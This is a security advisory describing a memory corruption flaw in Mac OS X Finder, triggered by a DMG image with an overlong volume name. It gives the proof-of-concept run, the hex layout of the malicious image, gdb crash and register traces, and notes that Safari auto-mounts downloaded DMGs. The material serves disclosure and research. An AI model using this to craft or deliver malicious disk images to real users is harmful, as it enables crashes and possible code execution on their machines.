Summary
The Wikipedia provides the following description about Finder:
The Finder is the default application program used on the Mac OS and Mac OS X operating systems that is responsible for the overall user-management of files, disks, network volumes and the launching of other applications. As such the Finder acts like the shell on other operating systems, but using a graphical user interface. It was introduced with the very first Macintosh computer, and also existed as part of GS/OS on the Apple IIGS. It underwent a complete rewrite with Apple's switch to a UNIX-based OS in Mac OS X.
Finder is affected by a memory corruption vulnerability, which leads to an exploitable denial of service condition and potential arbitrary code execution. A DMG image containing a volume name longer than 255 bytes will trigger this issue.
Affected versions
This issue has been verified in Finder 10.4.6 running on Mac OS X 10.4.8 (8L2127) x86. Previous versions might be affected.
Proof of concept, exploit or instructions to reproduce
The provided proof of concept will create a DMG image with a random 255-bytes long payload which will reproduce this issue.
$ ruby MOAB-09-01-2007.rb MOAB-09-01-2007.rb ................................................................. created: /Users/AuntSophia/Warez/Luke/MOAB-09-01-2007.dmg ++ reading MOAB-09-01-2007.dmg... ++ volname length at dmg: 0255 ++ dmg size: 204800 bytes. $ hdiutil attach MOAB-09-01-2007.dmg
Note: you can serve the DMG file from a web server or download it over and then proceeding to mount it. Safari will do it automatically unless the 'Open safe files' option is disabled in your preferences (which is strongly recommended).
Debugging information
The following information corresponds to Finder 10.4.6 running on a Mac OS X 10.4.8 (8L2127) system, as well as the information related to the structure of the data in the DMG image.
45 52 02 00 00 00 01 90 00 00 00 00 00 00 00 00 (at offset 0) (...) 50 4D 00 00 00 00 00 03 00 00 00 01 00 00 00 3F (at offset 512) 41 70 70 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 70 70 6C 65 5F 70 61 72 74 69 74 69 6F 6E 5F 6D 61 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3F 00 00 00 03 00 00 00 00 (...) 50 4D 00 00 00 00 00 03 00 00 00 40 00 00 01 40 (at offset 1024) 64 69 73 6B 20 69 6D 61 67 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 70 70 6C 65 5F 55 46 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 40 40 00 00 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6E 6F 6F 67 00 00 00 00 (...) 50 4D 00 00 00 00 00 03 00 00 01 80 00 00 00 10 (at offset 1536) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 70 70 6C 65 5F 46 72 65 65 00 00 00 00 00 00 (...) 4C 41 42 4C 47 40 00 00 00 00 00 01 45 88 93 DA (at offset 39936) 00 FF 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ---- 0x00ff = 255 bytes 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ---- + payload + NULL (...) 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00
The volume name is located right next to the length field which seems to be also related to another property within the DMG (rogue values in the length field seem to be validated and report corrupted image, but we aren't sure at the time of writing about how such validation is done, if checking that length specified here equals to that of another field minus the size of headers and/or other data, or some other method).
aunt-sophias-computer:~ russyna$ gdb \
/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder --pid=1247
(...)
Attaching to program:
`/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder', process 1247.
Reading symbols for shared libraries ..................................
................................. done
0x90009857 in mach_msg_trap ()
(gdb) c
Continuing.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xb011f8cd
[Switching to process 2229 thread 0x3007]
0xffff0ac4 in ___memcpy () at
/System/Library/Frameworks/System.framework/PrivateHeaders/i386/cpu_capabilities.h:228
228 in /System/Library/Frameworks/System.framework/PrivateHeaders/i386/cpu_capabilities.h
(gdb) back
#0 0xffff0ac4 in ___memcpy () at
/System/Library/Frameworks/System.framework/PrivateHeaders/i386/cpu_capabilities.h:228
#1 0x90c94952 in _FSCopyExtendedAliasInfoFromAliasPtr ()
#2 0x9252a1c9 in TNode::CreateVirtualAliasRecord ()
#3 0x9252969e in TNode::PopulateVirtualContainerFromSFL ()
#4 0x9251412b in TNodeSyncTask::SyncTaskProc ()
#5 0x90cb4f84 in PrivateMPEntryPoint ()
#6 0x90023d87 in _pthread_body ()
(gdb) i r
eax 0xffff07a0 -63584
ecx 0x1a40 6720
edx 0x2 2
ebx 0x90c948f8 -1865856776
esp 0xb011dc20 0xb011dc20
ebp 0xb011dc28 0xb011dc28
esi 0xb011f8cd -1340999475
edi 0xb0120222 -1340997086
eip 0xffff0ac4 0xffff0ac4 <___memcpy+804>
(gdb) x/4i $eip-1
0xffff0ac3 <___memcpy+803>: dec %esi
0xffff0ac4 <___memcpy+804>: mov (%esi),%al
0xffff0ac6 <___memcpy+806>: dec %edi
0xffff0ac7 <___memcpy+807>: mov %al,(%edi)
If we control the size passed to memcpy(), we could abuse this for
arbitrary code execution. Thus, the next step is actually verifying what arguments
are being passed before the final call. Breakpoint at 0x90c9494d.
(gdb) break *0x90c9494d Breakpoint 1 at 0x90c9494d (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder Reading symbols for shared libraries + done (...) Breakpoint 1, 0x90c9494d in _FSCopyExtendedAliasInfoFromAliasPtr () (gdb) i r eax 0x10 16 ecx 0x9 9 edx 0xbfffc88c -1073756020 ebx 0x90c948f8 -1865856776 esp 0xbfffc630 0xbfffc630 ebp 0xbfffcf68 0xbfffcf68 esi 0xbfffd460 -1073752992 edi 0xbfffd1e0 -1073753632 eip 0x90c9494d 0x90c9494d <_FSCopyExtendedAliasInfoFromAliasPtr+102> (...) 0x90c94942 <_FSCopyExtended...Ptr+91>: mov %eax,8(%esp) 0x90c94946 <_FSCopyExtended...Ptr+95>: mov %edx,4(%esp) 0x90c9494a <_FSCopyExtended...Ptr+99>: mov %edi,(%esp) 0x90c9494d <_FSCopyExtended...Ptr+102>: call 0xa0c820b4 <dyld_stub_memcpy> (gdb) x/1u $esp+8 0xbfffc638: 16 (gdb) x/1x $esp+4 0xbfffc634: 0xbfffc88c (gdb) x/1x $esp 0xbfffc630: 0xbfffd1e0 (gdb) x/1x $edi 0xbfffd1e0: 0x00610000 (gdb) x/3s 0x610650 0x610650: 'A' <repeats 200 times>... 0x610718: 'A' <repeats 55 times> 0x610750: "????\020?h"
See 'Exploitation conditions' for more information, or "Alastair's blog" in approximately 3 days, with stunning gobbledegook and other British humor. Beware of hardcore zealotry.
Notes
Exploitation conditions
Successful exploitation for arbitrary code execution would require control over the size
parameter passed to memcpy(). Apparently, we influence it's value but can't
control it directly. We might be wrong, as we haven't finished working around the DMG format
(which lacks of public specification, although the encapsulated filesystems are fairly well
documented). It could be possible that the size value is related to other data structures, and
controlling it would require modification of those as well.
Workaround or temporary solution
Don't attempt to mount untrusted DMG files, disable Safari 'Open safe files' in it's preferences dialog, wait for Apple to release a fix (this issue has been reported to them circa a month ago).
Resistance is really futile.